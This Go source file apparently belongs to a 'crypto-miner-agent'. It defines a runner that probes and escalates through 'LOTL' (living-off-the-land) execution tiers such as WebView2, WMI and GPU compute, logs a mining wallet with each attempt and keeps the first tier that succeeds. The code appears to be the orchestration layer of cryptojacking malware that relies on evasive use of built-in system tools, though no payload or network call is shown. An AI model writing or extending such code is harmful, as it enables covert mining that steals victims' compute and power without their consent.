package miner import ( "context" "log" "runtime" "sync" "time" "crypto-miner-agent/config" ) // TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.). type TierHandler interface { Tier() LOTLTier Available(cfg config.RuntimeConfig) bool Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt Stop() } // ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter). type ProbeReporter func(report TierReport) // TierRunner orchestrates probe/escalation tiers with per-attempt reporting. type TierRunner struct { mu sync.RWMutex cfg config.RuntimeConfig handlers []TierHandler report ProbeReporter attempts []TierAttempt active LOTLTier stopped []TierHandler } // NewTierRunner builds a runner with platform-default handlers. func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner { return &TierRunner{ cfg: cfg, handlers: defaultTierHandlers(), report: report, } } // SetHandlers replaces handlers (tests inject mocks). func (r *TierRunner) SetHandlers(h []TierHandler) { r.mu.Lock() r.handlers = h r.mu.Unlock() } // Report returns the current tier snapshot. func (r *TierRunner) Report() TierReport { r.mu.RLock() defer r.mu.RUnlock() return r.buildReport() } func (r *TierRunner) buildReport() TierReport { attempts := make([]TierAttempt, len(r.attempts)) copy(attempts, r.attempts) rep := TierReport{ ActiveTier: r.active, Attempts: attempts, } for _, a := range attempts { if a.Tier == TierWebView2Probe && a.OK { if v, ok := a.Details["webgpu_available"].(bool); ok { rep.WebGPUReady = v } } if a.Tier == TierGPUCompute && a.OK { rep.GPUComputeOK = true } } return rep } func (r *TierRunner) emit() { r.mu.RLock() rep := r.buildReport() report := r.report r.mu.RUnlock() if report != nil { report(rep) } } func (r *TierRunner) recordAttempt(a TierAttempt) { r.mu.Lock() r.attempts = append(r.attempts, a) if a.OK && r.active == "" && a.Tier != TierWebView2Probe { r.active = a.Tier } r.mu.Unlock() log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs) r.emit() } // RunProbes executes probe-only tiers (webview2) before GPU escalation. func (r *TierRunner) RunProbes(ctx context.Context) TierReport { r.mu.RLock() handlers := r.handlers cfg := r.cfg r.mu.RUnlock() for _, h := range handlers { if h.Tier() != TierWebView2Probe { continue } if !h.Available(cfg) { r.recordAttempt(TierAttempt{ Tier: TierWebView2Probe, Error: "webview2 runtime not detected", Wallet: cfg.Wallet, }) continue } start := time.Now() a := h.Attempt(ctx, cfg) a.DurationMs = time.Since(start).Milliseconds() if a.Wallet == "" { a.Wallet = cfg.Wallet } r.recordAttempt(a) } return r.Report() } // RunChain attempts execution tiers in order; probe tiers are skipped here. func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) { r.mu.RLock() handlers := r.handlers cfg := r.cfg r.mu.RUnlock() var lastErr error for _, h := range handlers { t := h.Tier() if t == TierWebView2Probe { continue } if !h.Available(cfg) { r.recordAttempt(TierAttempt{ Tier: t, Error: "tier unavailable on " + runtime.GOOS, Wallet: cfg.Wallet, }) continue } start := time.Now() a := h.Attempt(ctx, cfg) a.DurationMs = time.Since(start).Milliseconds() if a.Wallet == "" { a.Wallet = cfg.Wallet } r.recordAttempt(a) if a.OK { r.mu.Lock() r.active = t r.stopped = append(r.stopped, h) r.mu.Unlock() r.emit() return t, nil } if a.Error != "" { lastErr = errFromTier(a.Error) } } if lastErr != nil { return "", lastErr } return "", ErrTierChainSkipped } // WebGPUReady reports whether the webview2 probe found WebGPU. func (r *TierRunner) WebGPUReady() bool { return r.Report().WebGPUReady } // Stop halts all started tier handlers. func (r *TierRunner) Stop() { r.mu.Lock() stopped := r.stopped r.active = "" r.stopped = nil r.mu.Unlock() for _, h := range stopped { h.Stop() } r.emit() } type tierError string func (e tierError) Error() string { return string(e) } func errFromTier(msg string) error { return tierError(msg) }